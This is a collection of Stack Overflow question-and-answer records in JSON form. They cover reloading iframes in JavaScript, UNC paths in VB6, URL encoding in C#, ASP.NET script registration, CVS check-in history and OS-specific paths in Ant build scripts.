cross-browser testing. I wanted to create a quick page that housed a bunch of iframes, organized into groups that I would show/hide at will. Logically you'd want to be able to easily and quickly refresh any given frame.</p>\n\n<p>I should note that the project I am working on currently, the one in use in this test-bed, is a one-page site with indexed locations (e.g. index.html#home). That may have had something to do with why I couldn't get any of the other solutions to refresh my particular frame.</p>\n\n<p>Having said that, I know it's not the cleanest thing in the world, but it works for my purposes. Hope this helps someone. Now if only I could figure out how to keep the iframe from scrolling the parent page each time there's animation inside iframe...</p>\n\n<p><strong>EDIT:</strong>\nI realized that this doesn't \"refresh\" the iframe like I'd hoped it would. It will reload the iframe's initial source though. Still can't figure out why I couldn't get any of the other options to work..</p>\n\n<p><strong>UPDATE:</strong>\nThe reason I couldn't get any of the other methods to work is because I was testing them in Chrome, and Chrome won't allow you to access an iframe's content (Explanation: <a href=\"https://stackoverflow.com/questions/10415759/is-it-likely-that-future-releases-of-chrome-support-contentwindow-contentdocumen/15684469#15684469\">Is it likely that future releases of Chrome support contentWindow/contentDocument when iFrame loads a local html file from local html file?</a>) if it doesn't originate from the same location (so far as I understand it). Upon further testing, I can't access contentWindow in FF either.</p>\n\n<p><strong>AMENDED JS</strong></p>\n\n<pre><code>$('.refresh-this-frame').click(function() {\n var targetID = $(this).attr('rel');\n var targetSrc = $(targetID).attr('src');\n var cleanID = targetID.replace(\"#\",\"\"); \n var chromeTest = ( navigator.userAgent.match(/Chrome/g) ? true : false );\n var FFTest = ( navigator.userAgent.match(/Firefox/g) ? true : false ); \n if (chromeTest == true) {\n function removeSrc() {\n $(targetID).attr('src', '');\n }\n setTimeout (removeSrc, 100);\n function replaceSrc() {\n $(targetID).attr('src', targetSrc);\n }\n setTimeout (replaceSrc, 200);\n }\n if (FFTest == true) {\n function removeSrc() {\n $(targetID).attr('src', '');\n }\n setTimeout (removeSrc, 100);\n function replaceSrc() {\n $(targetID).attr('src', targetSrc);\n }\n setTimeout (replaceSrc, 200);\n } \n if (chromeTest == false &amp;&amp; FFTest == false) {\n var targetLoc = (document.getElementById(cleanID).contentWindow.location).toString();\n function removeSrc() {\n $(targetID).attr('src', '');\n }\n setTimeout (removeSrc, 100);\n function replaceSrc2() {\n $(targetID).attr('src', targetLoc);\n }\n setTimeout (replaceSrc2, 200);\n }\n});\n</code></pre>\n" }, { "answer_id": 23558286, "author": "Paresh3489227", "author_id": 3489227, "author_profile": "https://Stackoverflow.com/users/3489227", "pm_score": 2, "selected": false, "text": "<p>If you using Jquery then there is one line code.</p>\n\n<pre><code>$('#iframeID',window.parent.document).attr('src',$('#iframeID',window.parent.document).attr('src'));\n</code></pre>\n\n<p>and if you are working with same parent then</p>\n\n<pre><code>$('#iframeID',parent.document).attr('src',$('#iframeID',parent.document).attr('src'));\n</code></pre>\n" }, { "answer_id": 32740941, "author": "Patrick Rudolph", "author_id": 1024108, "author_profile": "https://Stackoverflow.com/users/1024108", "pm_score": 3, "selected": false, "text": "<p>Simply replacing the <code>src</code> attribute of the iframe element was not satisfactory in my case because one would see the old content until the new page is loaded. This works better if you want to give instant visual feedback:</p>\n\n<pre><code>var url = iframeEl.src;\niframeEl.src = 'about:blank';\nsetTimeout(function() {\n iframeEl.src = url;\n}, 10);\n</code></pre>\n" }, { "answer_id": 43716241, "author": "Vivek Kumar", "author_id": 5163085, "author_profile": "https://Stackoverflow.com/users/5163085", "pm_score": 2, "selected": false, "text": "<p>Using <code>self.location.reload()</code> will reload the iframe.</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;iframe src=\"https://vivekkumar11432.wordpress.com/\" width=\"300\" height=\"300\"&gt;&lt;/iframe&gt;\r\n&lt;br&gt;&lt;br&gt;\r\n&lt;input type='button' value=\"Reload\" onclick=\"self.location.reload();\" /&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 46199589, "author": "h3dkandi", "author_id": 2870783, "author_profile": "https://Stackoverflow.com/users/2870783", "pm_score": 0, "selected": false, "text": "<p>For debugging purposes one could open the console, change the execution context to the frame that he wants refreshed, and do <code>document.location.reload()</code></p>\n" }, { "answer_id": 46902311, "author": "Yohanim", "author_id": 1533670, "author_profile": "https://Stackoverflow.com/users/1533670", "pm_score": 5, "selected": false, "text": "<p>Appending an empty string to the <code>src</code> attribute of the iFrame also reloads it automatically.</p>\n<pre><code>document.getElementById('id').src += '';\n</code></pre>\n" }, { "answer_id": 48139507, "author": "Vasile Alexandru Peşte", "author_id": 6419448, "author_profile": "https://Stackoverflow.com/users/6419448", "pm_score": 2, "selected": false, "text": "<p>Another solution.</p>\n\n<pre><code>const frame = document.getElementById(\"my-iframe\");\n\nframe.parentNode.replaceChild(frame.cloneNode(), frame);\n</code></pre>\n" }, { "answer_id": 50511220, "author": "Northern", "author_id": 3496582, "author_profile": "https://Stackoverflow.com/users/3496582", "pm_score": 2, "selected": false, "text": "<p>Now to make this work on chrome 66, try this:</p>\n\n<pre><code>const reloadIframe = (iframeId) =&gt; {\n const el = document.getElementById(iframeId)\n const src = el.src\n el.src = ''\n setTimeout(() =&gt; {\n el.src = src\n })\n}\n</code></pre>\n" }, { "answer_id": 69028065, "author": "Andrii Verbytskyi", "author_id": 2768917, "author_profile": "https://Stackoverflow.com/users/2768917", "pm_score": 1, "selected": false, "text": "<h2>Reload from inside Iframe</h2>\n<p>If your app is inside an Iframe you can refresh it with replacing the location href:</p>\n<pre><code>document.location.href = document.location.href\n</code></pre>\n" }, { "answer_id": 73116824, "author": "Reed Thorngag", "author_id": 15233212, "author_profile": "https://Stackoverflow.com/users/15233212", "pm_score": 0, "selected": false, "text": "<p>I had a problem with this because I didnt use a timeout to give the page time to update, I set the src to '', and then set it back to the original url, but nothing happened:</p>\n<pre><code>function reload() {\n document.getElementById('iframe').src = '';\n document.getElementById('iframe').src = url;\n}\n</code></pre>\n<p>but it didnt reload the site, because it is single threaded, the first change doesnt do anything, because that function is still taking up the thread, and then it sets it back to the original url, and I guess chrome doesnt reload because preformance or whatever, so you need to do:</p>\n<pre><code>function setBack() {\n document.getElementById('iframe').src = url;\n}\nfunction reload() {\n document.getElementById('iframe').src = '';\n setTimeout(setBack,100);\n}\n</code></pre>\n<p>if the setTimeout time is too short, it doesnt work, so if its not working, try set it to 500 or something and see if it works then.</p>\n<p>this was in the latest version of chrome at the time of writing this.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86428", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8276/" ]
I would like to reload an `<iframe>` using JavaScript. The best way I found until now was set the iframe’s `src` attribute to itself, but this isn’t very clean. Any ideas?
``` document.getElementById('some_frame_id').contentWindow.location.reload(); ``` be careful, in Firefox, `window.frames[]` cannot be indexed by id, but by name or index
86,435
<p>I'm receiving feedback from a developer that "The only way visual basic (6) can deal with a UNC path is to map it to a drive." Is this accurate? And, if so, what's the underlying issue and are there any alternatives other than a mapped drive?</p>
[ { "answer_id": 86463, "author": "Mike L", "author_id": 12085, "author_profile": "https://Stackoverflow.com/users/12085", "pm_score": 3, "selected": false, "text": "<p>We have a legacy VB6 app that uses UNC to build a connection string, so I know VB6 can do it. Often, you'll find permissions problems to be the culprit.</p>\n" }, { "answer_id": 86482, "author": "Darrel Miller", "author_id": 6819, "author_profile": "https://Stackoverflow.com/users/6819", "pm_score": 3, "selected": true, "text": "<p>Here is one way that works.</p>\n\n<pre><code>Sub Main()\n\n Dim fs As New FileSystemObject ' Add Reference to Microsoft Scripting Runtime\n MsgBox fs.FileExists(\"\\\\server\\folder\\file.ext\")\n\nEnd Sub\n</code></pre>\n" }, { "answer_id": 86568, "author": "Daren Thomas", "author_id": 2260, "author_profile": "https://Stackoverflow.com/users/2260", "pm_score": 1, "selected": false, "text": "<p>I don't think this is True, if you are using the <code>Scripting.Runtime</code> library.</p>\n\n<p>Oldschool VB had some language constructs for file handling. These are evil. Don't use them.</p>\n" }, { "answer_id": 99033, "author": "Matthew Cole", "author_id": 13348, "author_profile": "https://Stackoverflow.com/users/13348", "pm_score": 0, "selected": false, "text": "<p>What sort of file I/O are you doing? If it's text, look into using a FileSystemObject.</p>\n" }, { "answer_id": 101291, "author": "dummy", "author_id": 6297, "author_profile": "https://Stackoverflow.com/users/6297", "pm_score": 2, "selected": false, "text": "<p>Even the old school type of file handling does work:</p>\n\n<pre><code>Open \"\\\\host\\share\\file.txt\" For Input As #1\nDim sTmp\nLine Input #1, sTmp\nMsgBox sTmp\nClose #1\n</code></pre>\n" }, { "answer_id": 156091, "author": "sharvell", "author_id": 23095, "author_profile": "https://Stackoverflow.com/users/23095", "pm_score": 0, "selected": false, "text": "<p>I have observed VB6 UNC path issues when a combination of the items below exist:</p>\n\n<ul>\n<li>the unc points to a hidden '$' share</li>\n<li>the server name exceeds 8 chars and or has non standard chars</li>\n<li>a portion of the path is exceptionally long</li>\n<li>the server has 8.3 support turned of for performance purposes</li>\n</ul>\n\n<p>Usually a 75 path file access error or 54. At times this may be related to API's such as getshortfilename and getshortpathname on the aforementioned UNC's.</p>\n\n<p>Other than that they work great... A mapped path will usually not have these issues but those darned drive mappings disconnect often and can change at anytime causing many support headaches.</p>\n" }, { "answer_id": 20334434, "author": "finch", "author_id": 1258623, "author_profile": "https://Stackoverflow.com/users/1258623", "pm_score": 1, "selected": false, "text": "<p>In VB6 you cannot use CHDrive to a UNC path.</p>\n\n<p>Since App.Path returns a UNC path, attempting to use ChDrive to this path, <code>ChDrive App.Path</code> will cause an error.</p>\n\n<p>As Microsoft say \"ChDrive cannot handle UNC paths, and thus raises an error when App.Path returns one\". For more information, look at <a href=\"http://msdn.microsoft.com/en-us/library/aa263345(v=vs.60).aspx\" rel=\"nofollow\">http://msdn.microsoft.com/en-us/library/aa263345(v=vs.60).aspx</a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86435", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5199/" ]
I'm receiving feedback from a developer that "The only way visual basic (6) can deal with a UNC path is to map it to a drive." Is this accurate? And, if so, what's the underlying issue and are there any alternatives other than a mapped drive?
Here is one way that works. ``` Sub Main() Dim fs As New FileSystemObject ' Add Reference to Microsoft Scripting Runtime MsgBox fs.FileExists("\\server\folder\file.ext") End Sub ```
86,477
<p>In JavaScript:</p> <pre><code>encodeURIComponent("©√") == "%C2%A9%E2%88%9A" </code></pre> <p>Is there an equivalent for C# applications? For escaping HTML characters I used:</p> <pre><code>txtOut.Text = Regex.Replace(txtIn.Text, @"[\u0080-\uFFFF]", m =&gt; @"&amp;#" + ((int)m.Value[0]).ToString() + ";"); </code></pre> <p>But I'm not sure how to convert the match to the correct hexadecimal format that JS uses. For example this code:</p> <pre><code>txtOut.Text = Regex.Replace(txtIn.Text, @"[\u0080-\uFFFF]", m =&gt; @"%" + String.Format("{0:x}", ((int)m.Value[0]))); </code></pre> <p>Returns "<code>%a9%221a"</code> for <code>"©√"</code> instead of <code>"%C2%A9%E2%88%9A"</code>. It looks like I need to split the string up into bytes or something.</p> <p>Edit: This is for a windows app, the only items available in <code>System.Web</code> are: <code>AspNetHostingPermission</code>, <code>AspNetHostingPermissionAttribute</code>, and <code>AspNetHostingPermissionLevel</code>.</p>
[ { "answer_id": 86484, "author": "David Thibault", "author_id": 5903, "author_profile": "https://Stackoverflow.com/users/5903", "pm_score": 4, "selected": false, "text": "<p><code>HttpUtility.HtmlEncode</code> / Decode<br>\n<code>HttpUtility.UrlEncode</code> / Decode</p>\n\n<p>You can add a reference to the <code>System.Web</code> assembly if it's not available in your project</p>\n" }, { "answer_id": 86486, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 3, "selected": false, "text": "<p>You can use the Server object in the System.Web namespace</p>\n\n<p>Server.UrlEncode, Server.UrlDecode, Server.HtmlEncode, and Server.HtmlDecode.</p>\n\n<p>Edit: poster added that this was a windows application and not a web one as one would believe. The items listed above would be available from the HttpUtility class inside System.Web which must be added as a reference to the project.</p>\n" }, { "answer_id": 86492, "author": "Billy Jo", "author_id": 3447, "author_profile": "https://Stackoverflow.com/users/3447", "pm_score": 3, "selected": false, "text": "<p>Try <code>Server.UrlEncode()</code>, or <code>System.Web.HttpUtility.UrlEncode()</code> for instances when you don't have access to the <code>Server</code> object. You can also use <code>System.Uri.EscapeUriString()</code> to avoid adding a reference to the <code>System.Web</code> assembly.</p>\n" }, { "answer_id": 619980, "author": "Echilon", "author_id": 30512, "author_profile": "https://Stackoverflow.com/users/30512", "pm_score": 4, "selected": false, "text": "<p>System.Uri.EscapeUriString() didn't seem to do anything, but System.Uri.Escape<strong>Data</strong>String() worked for me.</p>\n" }, { "answer_id": 4550600, "author": "Steve", "author_id": 355583, "author_profile": "https://Stackoverflow.com/users/355583", "pm_score": 9, "selected": true, "text": "<p><code>Uri.EscapeDataString</code> or <code>HttpUtility.UrlEncode</code> is the correct way to escape a string meant to be part of a URL.</p>\n\n<p>Take for example the string <code>\"Stack Overflow\"</code>:</p>\n\n<ul>\n<li><p><code>HttpUtility.UrlEncode(\"Stack Overflow\")</code> --> <code>\"Stack+Overflow\"</code></p></li>\n<li><p><code>Uri.EscapeUriString(\"Stack Overflow\")</code> --> <code>\"Stack%20Overflow\"</code></p></li>\n<li><p><code>Uri.EscapeDataString(\"Stack + Overflow\")</code> --> Also encodes <code>\"+\" to \"%2b\"</code> ----><code>Stack%20%2B%20%20Overflow</code></p></li>\n</ul>\n\n<p>Only the last is correct when used as an actual part of the URL (as opposed to the value of one of the query string parameters)</p>\n" }, { "answer_id": 4902681, "author": "Ali Mamedov", "author_id": 603774, "author_profile": "https://Stackoverflow.com/users/603774", "pm_score": 4, "selected": false, "text": "<p>I tried to do full compatible analog of javascript's encodeURIComponent for c# and after my 4 hour experiments I found this</p>\n\n<p>c# CODE:</p>\n\n<pre><code>string a = \"!@#$%^&amp;*()_+ some text here али мамедов баку\";\na = System.Web.HttpUtility.UrlEncode(a);\na = a.Replace(\"+\", \"%20\");\n</code></pre>\n\n<p>the result is:\n<strong>!%40%23%24%25%5e%26*()_%2b%20some%20text%20here%20%d0%b0%d0%bb%d0%b8%20%d0%bc%d0%b0%d0%bc%d0%b5%d0%b4%d0%be%d0%b2%20%d0%b1%d0%b0%d0%ba%d1%83</strong></p>\n\n<p>After you decode It with Javascript's decodeURLComponent();</p>\n\n<p>you will get this: \n<strong>!@#$%^&amp;*()_+ some text here али мамедов баку</strong></p>\n\n<p>Thank You for attention</p>\n" }, { "answer_id": 17020094, "author": "Cœur", "author_id": 1033581, "author_profile": "https://Stackoverflow.com/users/1033581", "pm_score": 3, "selected": false, "text": "<p>For a Windows Store App, you won't have HttpUtility. Instead, you have:</p>\n\n<p>For an URI, before the '?':</p>\n\n<ul>\n<li>System.<strong>Uri.EscapeUriString</strong>(\"example.com/Stack Overflow++?\")\n<ul>\n<li>-> \"example.com/Stack%20Overflow++?\"</li>\n</ul></li>\n</ul>\n\n<p>For an URI query name or value, after the '?':</p>\n\n<ul>\n<li>System.<strong>Uri.EscapeDataString</strong>(\"Stack Overflow++\")\n<ul>\n<li>-> \"Stack%20Overflow%2B%2B\"</li>\n</ul></li>\n</ul>\n\n<p>For a <a href=\"http://www.w3.org/TR/html401/interact/forms.html#h-17.13.4.1\" rel=\"noreferrer\">x-www-form-urlencoded</a> query name or value, in a POST content:</p>\n\n<ul>\n<li>System.Net.<strong>WebUtility.UrlEncode</strong>(\"Stack Overflow++\")\n<ul>\n<li>-> \"Stack+Overflow%2B%2B\"</li>\n</ul></li>\n</ul>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86477", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1414/" ]
In JavaScript: ``` encodeURIComponent("©√") == "%C2%A9%E2%88%9A" ``` Is there an equivalent for C# applications? For escaping HTML characters I used: ``` txtOut.Text = Regex.Replace(txtIn.Text, @"[\u0080-\uFFFF]", m => @"&#" + ((int)m.Value[0]).ToString() + ";"); ``` But I'm not sure how to convert the match to the correct hexadecimal format that JS uses. For example this code: ``` txtOut.Text = Regex.Replace(txtIn.Text, @"[\u0080-\uFFFF]", m => @"%" + String.Format("{0:x}", ((int)m.Value[0]))); ``` Returns "`%a9%221a"` for `"©√"` instead of `"%C2%A9%E2%88%9A"`. It looks like I need to split the string up into bytes or something. Edit: This is for a windows app, the only items available in `System.Web` are: `AspNetHostingPermission`, `AspNetHostingPermissionAttribute`, and `AspNetHostingPermissionLevel`.
`Uri.EscapeDataString` or `HttpUtility.UrlEncode` is the correct way to escape a string meant to be part of a URL. Take for example the string `"Stack Overflow"`: * `HttpUtility.UrlEncode("Stack Overflow")` --> `"Stack+Overflow"` * `Uri.EscapeUriString("Stack Overflow")` --> `"Stack%20Overflow"` * `Uri.EscapeDataString("Stack + Overflow")` --> Also encodes `"+" to "%2b"` ---->`Stack%20%2B%20%20Overflow` Only the last is correct when used as an actual part of the URL (as opposed to the value of one of the query string parameters)
86,491
<p>ASP.NET 2.0 provides the <code>ClientScript.RegisterClientScriptBlock()</code> method for registering JavaScript in an ASP.NET Page.</p> <p>The issue I'm having is passing the script when it's located in another directory. Specifically, the following syntax does not work:</p> <pre><code>ClientScript.RegisterClientScriptBlock(this.GetType(), "scriptName", "../dir/subdir/scriptName.js", true); </code></pre> <p>Instead of dropping the code into the page like <a href="http://msdn.microsoft.com/en-us/library/aa479390.aspx#javawasp2_topic7" rel="nofollow noreferrer">this page</a> says it should, it instead displays <code>../dir/subdir/script.js</code> , my question is this:</p> <p>Has anyone dealt with this before, and found a way to drop in the javascript in a separate file? Am I going about this the wrong way?</p>
[ { "answer_id": 86496, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": -1, "selected": false, "text": "<p>Your script value has to be a full script, so put in the following for your script value.</p>\n\n<pre><code>&lt;script type='text/javascript' src='yourpathhere'&gt;&lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 86519, "author": "David Thibault", "author_id": 5903, "author_profile": "https://Stackoverflow.com/users/5903", "pm_score": 2, "selected": false, "text": "<p>use: ClientScript.RegisterClientScriptInclude(key, url);</p>\n" }, { "answer_id": 86523, "author": "Nick Craver", "author_id": 13249, "author_profile": "https://Stackoverflow.com/users/13249", "pm_score": 4, "selected": true, "text": "<p>What you're after is: </p>\n\n<pre><code>ClientScript.RegisterClientScriptInclude(this.GetType(), \"scriptName\", \"../dir/subdir/scriptName.js\")\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86491", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16587/" ]
ASP.NET 2.0 provides the `ClientScript.RegisterClientScriptBlock()` method for registering JavaScript in an ASP.NET Page. The issue I'm having is passing the script when it's located in another directory. Specifically, the following syntax does not work: ``` ClientScript.RegisterClientScriptBlock(this.GetType(), "scriptName", "../dir/subdir/scriptName.js", true); ``` Instead of dropping the code into the page like [this page](http://msdn.microsoft.com/en-us/library/aa479390.aspx#javawasp2_topic7) says it should, it instead displays `../dir/subdir/script.js` , my question is this: Has anyone dealt with this before, and found a way to drop in the javascript in a separate file? Am I going about this the wrong way?
What you're after is: ``` ClientScript.RegisterClientScriptInclude(this.GetType(), "scriptName", "../dir/subdir/scriptName.js") ```
86,515
<p>I'm using CVS on Windows (with the WinCVS front end), and would like to add details of the last check in to the email from our automated build process, whenever a build fails, in order to make it easier to fix.</p> <p>I need to know the files that have changed, the user that changed them, and the comment.</p> <p>I've been trying to work out the command line options, but never seem to get accurate results (either get too many result rather than just from one checkin, or details of some random check in from two weeks ago)</p>
[ { "answer_id": 86547, "author": "Zathrus", "author_id": 16220, "author_profile": "https://Stackoverflow.com/users/16220", "pm_score": 1, "selected": false, "text": "<p>CVS does not provide this capability. You can, however, get it by buying a license for <a href=\"http://www.atlassian.com/software/fisheye/\" rel=\"nofollow noreferrer\">FishEye</a> or possibly by using <a href=\"http://www.cvstrac.org\" rel=\"nofollow noreferrer\">CVSTrac</a> (note: I have not tried CVS Trac).</p>\n\n<p>Or you could migrate to SVN, which does provide this capability via atomic commits. You can check in a group of files and have it count as a single commit. In CVS, each file is a separate commit no matter what you do.</p>\n" }, { "answer_id": 86551, "author": "Jason Terk", "author_id": 12582, "author_profile": "https://Stackoverflow.com/users/12582", "pm_score": 2, "selected": false, "text": "<p>CVS doesn't group change sets like other version control systems do; each file has its own, independent version number and history. This is one of the deficiencies in CVS that prompts people to move to a newer VC.</p>\n\n<p>That said, there are ways you could accomplish your goal. The easiest might be to add a post-commit hook to send email or log to a file. Then, at least, you can group a set of commits together by looking at the time the emails are sent and who made the change.</p>\n" }, { "answer_id": 86583, "author": "flxkid", "author_id": 13036, "author_profile": "https://Stackoverflow.com/users/13036", "pm_score": 0, "selected": false, "text": "<p>Will \"cvs history -a -l\" get you close? Shows for all users last event per project...</p>\n" }, { "answer_id": 86605, "author": "Rob Wells", "author_id": 2974, "author_profile": "https://Stackoverflow.com/users/2974", "pm_score": 2, "selected": true, "text": "<p>Wow.</p>\n\n<p>I'd forgotten how hard this is to do. What I'd done before was a two stage process.</p>\n\n<p>Firstly, running</p>\n\n<pre><code>cvs history -c -a -D \"7 days ago\" |\n gawk '{ print \"$1 == \\\"\" $6 \"\\\" &amp;&amp; $2 == \\\"\" $8 \"/\" $7 \"\\\" { print \\\"\" $2 \" \" $3 \" \" $6 \" \" $5 \" \" $8 \"/\" $7 \"\\\"; next }\" }' &gt; /tmp/$$.awk\n</code></pre>\n\n<p>to gather information about all checkins in the previous 7 days and to generate a script that would be used to create a part of the email that was sent.</p>\n\n<p>I then trawled the CVS/Entries file in the directory that contained the broken file(s) to get more info.</p>\n\n<p>Mungeing the two together allowed me to finger the culprit and send an email to them notifying them that they'de broken the build.</p>\n\n<p>Sorry that this answer isn't as complete as I'd hoped.</p>\n" }, { "answer_id": 86637, "author": "Kevin Gale", "author_id": 7176, "author_profile": "https://Stackoverflow.com/users/7176", "pm_score": 1, "selected": false, "text": "<p>We did this via a perl script that dumps the changelog and you can get a free version of perl for Windows at the second link.</p>\n\n<p><a href=\"http://www.red-bean.com/cvs2cl/\" rel=\"nofollow noreferrer\">Cvs2Cl script</a></p>\n\n<p><a href=\"http://www.activestate.com/Products/activeperl/index.mhtml\" rel=\"nofollow noreferrer\" title=\"Active Perl\">Active Perl</a></p>\n" }, { "answer_id": 213003, "author": "Sally", "author_id": 6539, "author_profile": "https://Stackoverflow.com/users/6539", "pm_score": 1, "selected": false, "text": "<p>I use loginfo in CVSROOT and write that information to a file</p>\n\n<p><a href=\"http://ximbiot.com/cvs/manual/cvs-1.11.23/cvs_18.html#SEC186\" rel=\"nofollow noreferrer\">http://ximbiot.com/cvs/manual/cvs-1.11.23/cvs_18.html#SEC186</a></p>\n" }, { "answer_id": 268160, "author": "Oliver Giesen", "author_id": 9784, "author_profile": "https://Stackoverflow.com/users/9784", "pm_score": 0, "selected": false, "text": "<p>CVSNT supports <a href=\"http://www.cvsnt.org/manual/html/Commit-Identifiers.html\" rel=\"nofollow noreferrer\">commit IDs</a> which you can use in place of tags in log, checkout or update commands. Each set of files committed (commits are atomic in CVSNT) receives its own unique ID. You just have to determine the commitid of the last checked in file via cvs log first (you can restrict the output via -d\"1 hour ago\" or similar) and then query which other files have that ID.</p>\n" }, { "answer_id": 268256, "author": "Olaf Kock", "author_id": 13447, "author_profile": "https://Stackoverflow.com/users/13447", "pm_score": 0, "selected": false, "text": "<p>Eclipse has ChangeSets built in. You can browse the last changes (at least incoming changes aka updates) by commit. It does this by grouping the commits by author, commit message and similar timestamps.</p>\n\n<p>This also works for \"Compare with/Another Branch or Version\" where you can choose Branches, Tags and Dates. Look through the Synchronization View Icons for a popup menu with \"Change Sets\" and see for yourself.</p>\n\n<p>Edit: This would require to change to Eclipse at least as a viewer, but depending on the frequency you need to compare and group it might not be too bad. If you don't want to use more - use Eclipse just for CVS. It should be possible to even get a decent sized graphical cvs client through the rcp with all the plugins, but this'd definitely be out of scope...</p>\n" }, { "answer_id": 651085, "author": "Jeffrey Fredrick", "author_id": 35894, "author_profile": "https://Stackoverflow.com/users/35894", "pm_score": 0, "selected": false, "text": "<p>Isn't this a solved problem? I would think any of the several tools on the <a href=\"http://confluence.public.thoughtworks.org/display/CC/CI+Feature+Matrix\" rel=\"nofollow noreferrer\">CI Matrix</a> that supports both CVS and email notifications could do this for you.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86515", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1078/" ]
I'm using CVS on Windows (with the WinCVS front end), and would like to add details of the last check in to the email from our automated build process, whenever a build fails, in order to make it easier to fix. I need to know the files that have changed, the user that changed them, and the comment. I've been trying to work out the command line options, but never seem to get accurate results (either get too many result rather than just from one checkin, or details of some random check in from two weeks ago)
Wow. I'd forgotten how hard this is to do. What I'd done before was a two stage process. Firstly, running ``` cvs history -c -a -D "7 days ago" | gawk '{ print "$1 == \"" $6 "\" && $2 == \"" $8 "/" $7 "\" { print \"" $2 " " $3 " " $6 " " $5 " " $8 "/" $7 "\"; next }" }' > /tmp/$$.awk ``` to gather information about all checkins in the previous 7 days and to generate a script that would be used to create a part of the email that was sent. I then trawled the CVS/Entries file in the directory that contained the broken file(s) to get more info. Mungeing the two together allowed me to finger the culprit and send an email to them notifying them that they'de broken the build. Sorry that this answer isn't as complete as I'd hoped.
86,526
<p>I have an Ant script that performs a copy operation using the <a href="http://ant.apache.org/manual/Tasks/copy.html" rel="noreferrer">'copy' task</a>. It was written for Windows, and has a hardcoded C:\ path as the 'todir' argument. I see the 'exec' task has an OS argument, is there a similar way to branch a copy based on OS?</p>
[ { "answer_id": 86593, "author": "sblundy", "author_id": 4893, "author_profile": "https://Stackoverflow.com/users/4893", "pm_score": 1, "selected": false, "text": "<p>You can't use a variable and assign it depending on the type? You could put it in a <code>build.properties</code> file. Or you could assign it using a <a href=\"http://ant.apache.org/manual/Tasks/condition.html\" rel=\"nofollow noreferrer\">condition</a>.</p>\n" }, { "answer_id": 86597, "author": "jsight", "author_id": 1432, "author_profile": "https://Stackoverflow.com/users/1432", "pm_score": 2, "selected": false, "text": "<p>You could use the condition task to branch to different copy tasks... from the ant manual:</p>\n\n<pre><code>&lt;condition property=\"isMacOsButNotMacOsX\"&gt;\n&lt;and&gt;\n &lt;os family=\"mac\"/&gt;\n\n &lt;not&gt;\n &lt;os family=\"unix\"/&gt;\n\n &lt;/not&gt;\n&lt;/and&gt;\n</code></pre>\n\n<p></p>\n" }, { "answer_id": 86612, "author": "easeout", "author_id": 10906, "author_profile": "https://Stackoverflow.com/users/10906", "pm_score": 1, "selected": false, "text": "<p>Declare a variable that is the root folder of your operation. Prefix your folders with that variable, including in the copy task.</p>\n\n<p>Set the variable based on the OS using a conditional, or pass it as an argument to the Ant script.</p>\n" }, { "answer_id": 86628, "author": "benzado", "author_id": 10947, "author_profile": "https://Stackoverflow.com/users/10947", "pm_score": 6, "selected": true, "text": "<p>I would recommend putting the path in a property, then setting the property conditionally based on the current OS.</p>\n\n<pre><code>&lt;condition property=\"foo.path\" value=\"C:\\Foo\\Dir\"&gt;\n &lt;os family=\"windows\"/&gt;\n&lt;/condition&gt;\n&lt;condition property=\"foo.path\" value=\"/home/foo/dir\"&gt;\n &lt;os family=\"unix\"/&gt;\n&lt;/condition&gt;\n\n&lt;fail unless=\"foo.path\"&gt;No foo.path set for this OS!&lt;/fail&gt;\n</code></pre>\n\n<p>As a side benefit, once it is in a property you can override it without editing the Ant script.</p>\n" }, { "answer_id": 126947, "author": "Mads Hansen", "author_id": 14419, "author_profile": "https://Stackoverflow.com/users/14419", "pm_score": 3, "selected": false, "text": "<p>The previously posted suggestions of an OS specific variable will work, but many times you can simply omit the \"C:\" prefix and use forward slashes (Unix style) file paths and it will work on both Windows and Unix systems.</p>\n\n<p>So, if you want to copy files to \"C:/tmp\" on Windows and \"/tmp\" on Unix, you could use something like:</p>\n\n<pre><code>&lt;copy todir=\"/tmp\" overwrite=\"true\" &gt;\n &lt;fileset dir=\"${lib.dir}\"&gt;\n &lt;include name=\"*.jar\" /&gt;\n &lt;/fileset&gt;\n&lt;/copy&gt;\n</code></pre>\n\n<p>If you do want/need to set a conditional path based on OS, it can be simplified as:</p>\n\n<pre><code> &lt;condition property=\"root.drive\" value=\"C:/\" else=\"/\"&gt;\n &lt;os family=\"windows\" /&gt;\n &lt;/condition&gt;\n &lt;copy todir=\"${root.drive}tmp\" overwrite=\"true\" &gt;\n &lt;fileset dir=\"${lib.dir}\"&gt;\n &lt;include name=\"*.jar\" /&gt;\n &lt;/fileset&gt;\n &lt;/copy&gt;\n</code></pre>\n" }, { "answer_id": 1035426, "author": "WellieeGee", "author_id": 121770, "author_profile": "https://Stackoverflow.com/users/121770", "pm_score": 0, "selected": false, "text": "<p>Ant-contrib has the &lt;osfamily /&gt; task. This will expose the family of the os to a property (that you specify the name of). This could be of some benefit.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86526", "https://Stackoverflow.com", "https://Stackoverflow.com/users/99021/" ]
I have an Ant script that performs a copy operation using the ['copy' task](http://ant.apache.org/manual/Tasks/copy.html). It was written for Windows, and has a hardcoded C:\ path as the 'todir' argument. I see the 'exec' task has an OS argument, is there a similar way to branch a copy based on OS?
I would recommend putting the path in a property, then setting the property conditionally based on the current OS. ``` <condition property="foo.path" value="C:\Foo\Dir"> <os family="windows"/> </condition> <condition property="foo.path" value="/home/foo/dir"> <os family="unix"/> </condition> <fail unless="foo.path">No foo.path set for this OS!</fail> ``` As a side benefit, once it is in a property you can override it without editing the Ant script.
86,534
